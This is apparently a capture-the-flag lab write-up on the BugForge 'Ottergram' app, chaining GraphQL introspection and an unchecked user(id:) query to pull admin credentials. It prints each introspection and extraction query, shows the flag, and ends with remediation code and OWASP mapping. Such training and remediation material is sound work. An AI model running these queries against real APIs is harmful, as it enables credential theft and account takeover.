Ottergram: GraphQL IDOR via Introspection
- Vulnerability: GraphQL Introspection Disclosure, IDOR via GraphQL Query, Plaintext Password Storage
- Key Technique: GraphQL introspection to discover schema, then direct object reference via
user(id:)query to dump admin credentials -
Result: Extracted admin credentials (email + plaintext password) achieving full account takeover
Objective
Extract admin credentials from the Ottergram application via the GraphQL API.
Initial Access
# Target Application
URL: ottergram (BugForge platform)
# Tech Stack
- Express (X-Powered-By header)
- GraphQL API
- CORS: Access-Control-Allow-Origin: *
# Auth details
Created a standard user account — JWT-based authentication
Authenticated queries via Authorization: Bearer <JWT> header
Key Findings
- GraphQL Introspection Enabled (CWE-200: Exposure of Sensitive Information) — Full schema disclosure to authenticated users, revealing all types, fields, queries, and mutations.
- IDOR via
user(id:)Query (CWE-639: Authorization Bypass Through User-Controlled Key) — Any authenticated user can access any other user’s record (including password and role) by iterating integer IDs. Authentication exists but authorization is missing. -
Plaintext Password Storage (CWE-256: Plaintext Storage of a Password) — Passwords stored and returned in plaintext rather than hashed.
Attack Chain Visualization
┌──────────────────────┐
│ Register Account │
│ Obtain JWT Token │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Known Analytics │
│ Query (userId: 2) │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Introspection │
│ __schema query │
│ → Discover types │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Inspect User Type │
│ → Fields: id, │
│ username, email, │
│ password, role │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Enumerate queryType │
│ → Find user(id:) │
│ query │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Query user(id: 2) │
│ → Admin credentials │
│ in plaintext │
└──────────────────────┘
Exploitation Path
Step 1: Account Registration and Authentication
Created a standard user account on the platform and obtained a JWT token. All subsequent GraphQL queries were sent with the JWT in the Authorization: Bearer header.
Step 2: Initial Reconnaissance — Analytics Query
With a valid session, started with a known analytics query to confirm the GraphQL endpoint was responsive.
{
analytics(userId: 2) {
userId
username
stats
}
}
This confirmed the endpoint was live and accepting authenticated requests.
Step 3: Schema Introspection — Type Discovery
Ran a full introspection query to enumerate the schema and discover available types.
{
__schema {
types {
name
kind
}
}
}
This revealed the User type among the schema’s object types.
Step 4: User Type Inspection — Field Enumeration
Inspected the User type to discover all available fields.
{
__type(name: "User") {
fields {
name
type {
name
kind
}
}
}
}
Fields discovered: id, username, email, password, full_name, bio, role
The presence of password and role fields immediately signaled a critical exposure.
Step 5: Query Discovery — Finding the Entry Point
Enumerated the root query type to find queries that return User objects.
{
__schema {
queryType {
fields {
name
args {
name
type { name kind }
}
type { name kind }
}
}
}
}
Discovered user(id: Int!) — a query accepting a user ID and returning the full User object.
Step 6: Credential Extraction — IDOR Exploitation
Queried the user endpoint with id: 2 to retrieve the admin account.
{
user(id: 2) {
id
username
email
password
role
}
}
Response returned admin credentials in plaintext:
- Email:
admin@ottergram.com - Password:
bug{TW3rIEX2lR1gbIUXANh3gm9e6mhU6cbz} -
Role:
admin
Flag / Objective Achieved
bug{TW3rIEX2lR1gbIUXANh3gm9e6mhU6cbz}
Admin credentials successfully extracted via authenticated GraphQL query using a low-privilege user account. Full account takeover achieved. —
Key Learnings
- GraphQL introspection is a goldmine — when enabled in production, it gives attackers a complete map of the API. Always the first thing to check on a GraphQL endpoint.
- Authentication != authorization — having JWT auth doesn’t protect anything if any authenticated user can query any other user’s data. Authorization checks per-user are essential.
- Field-level access control matters — even if a query exists, sensitive fields like
passwordshould never be resolvable. GraphQL resolvers need per-field authorization. -
Passwords must never be API-accessible — even hashed passwords shouldn’t be returned via API. Plaintext makes it catastrophic.
Failed Approaches (Documented for Learning)
No failed approaches — introspection was enabled and gave full schema access on the first attempt. The attack chain was straightforward: introspect → discover → extract.
Tools Used
| Tool | Purpose | Usage |
|——|———|——-|
| GraphQL client / curl | Query execution | Sent introspection and data queries to the GraphQL endpoint |
| Browser DevTools | Recon | Identified Express via X-Powered-By header and wildcard CORS policy |
—
Remediation
1. GraphQL Introspection Enabled (CVSS: 5.3 - Medium)
Issue: Full schema introspection is enabled, allowing any authenticated user to discover all types, fields, queries, and mutations. CWE Reference: CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
Fix:
// BEFORE (Vulnerable)
const server = new ApolloServer({
typeDefs,
resolvers,
});
// AFTER (Secure)
const server = new ApolloServer({
typeDefs,
resolvers,
introspection: false, // Disable in production
});
2. IDOR via user(id:) Query — No Authorization (CVSS: 9.1 - Critical)
Issue: The user query returns all fields for any user ID with no authorization checks. Any authenticated user can enumerate and dump all user records by iterating IDs.
CWE Reference: CWE-639 - Authorization Bypass Through User-Controlled Key
Fix:
// BEFORE (Vulnerable)
const resolvers = {
Query: {
user: (_, { id }) => db.getUserById(id),
},
};
// AFTER (Secure)
const resolvers = {
Query: {
user: (_, { id }, context) => {
if (!context.user) throw new AuthenticationError('Not authenticated');
if (context.user.id !== id && context.user.role !== 'admin') {
throw new ForbiddenError('Not authorized');
}
return db.getUserById(id);
},
},
};
3. Plaintext Password Storage (CVSS: 7.5 - High)
Issue: Passwords are stored in plaintext and returned via the API. If the database is compromised, all credentials are immediately usable. CWE Reference: CWE-256 - Plaintext Storage of a Password
Fix:
// BEFORE (Vulnerable)
// Password stored as-is
user.password = req.body.password;
// AFTER (Secure)
const bcrypt = require('bcrypt');
// Hash on storage
user.password = await bcrypt.hash(req.body.password, 12);
// Never expose password field in GraphQL schema
// Remove 'password' from User type definition entirely
# BEFORE (Vulnerable)
type User {
id: Int!
username: String!
email: String!
password: String! # Never expose this
role: String!
}
# AFTER (Secure)
type User {
id: Int!
username: String!
email: String!
role: String!
# password field removed entirely
}
OWASP Top 10 Coverage
- A01:2021 — Broken Access Control: IDOR via
user(id:)query — authentication present but no authorization. Any authenticated user can access any other user’s data by guessing integer IDs. - A02:2021 — Cryptographic Failures: Plaintext password storage and transmission via API responses.
- A04:2021 — Insecure Design: API designed without field-level access control. Password field included in public-facing schema.
-
A05:2021 — Security Misconfiguration: GraphQL introspection enabled in production. Wildcard CORS policy (
Access-Control-Allow-Origin: *).
References
- GraphQL Introspection — HackTricks
- OWASP GraphQL Cheat Sheet
- CWE-639: Authorization Bypass Through User-Controlled Key
- CWE-200: Exposure of Sensitive Information
- CWE-256: Plaintext Storage of a Password
-
Apollo Server Security — Disabling Introspection
Tags: #graphql #idor #introspection #credential-disclosure #bugforge #api-security
Document Version: 1.0
Last Updated: 2026-03-14